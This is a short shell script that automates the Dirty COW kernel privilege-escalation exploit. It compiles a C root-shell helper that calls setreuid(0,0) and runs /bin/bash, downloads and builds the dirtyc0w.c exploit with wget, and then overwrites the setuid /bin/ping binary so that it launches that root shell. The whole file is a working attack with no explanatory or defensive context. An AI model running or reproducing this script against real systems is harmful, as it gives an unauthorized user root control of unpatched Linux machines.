start.sh

#!/bin/sh
cat << EOF > shell.c
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
 
void main() {
    setreuid(0, 0);
    system("/bin/bash");
}
EOF

gcc -o shell shell.c

wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
gcc -pthread -o dirtyc0w dirtyc0w.c

cp /bin/ping ping.backup

./dirtyc0w /bin/ping $'#!./shell\n'